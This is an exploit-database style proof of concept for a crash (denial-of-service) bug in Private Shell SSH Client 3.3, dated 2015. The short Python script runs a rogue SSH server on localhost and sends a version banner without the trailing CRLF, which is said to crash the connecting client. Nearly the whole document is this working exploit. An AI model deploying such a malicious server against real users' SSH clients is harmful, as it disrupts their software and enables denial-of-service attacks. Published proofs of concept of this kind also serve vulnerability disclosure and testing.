Private Shell SSH Client 3.3 – Crash (PoC)

'''

# Exploit title: privateshell SSH Client v.3.3 denial of service vulnerability

# Date: 27-5-2015

# Vendor homepage: www.privateshell.com

# Software Link: http://www.privateshell.com/files/pshell.exe

# Version: 3.3

# Author: 3unnym00n

# Details:

# --------

# when doing the ssh version exchange, if the server send a banner missing \r\n, can lead the pshell crash

# Tested On: win7

# operating steps: run the py, then execute : "D:\programfile\Private Shell\ssh.exe" root@127.0.0.1

'''

import socket

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

soc.bind(('127.0.0.1', 22))

soc.listen(1)

client, addr = soc.accept()

client.send('SSH-2.0-SUCK') ## no "\r\n" lead to crash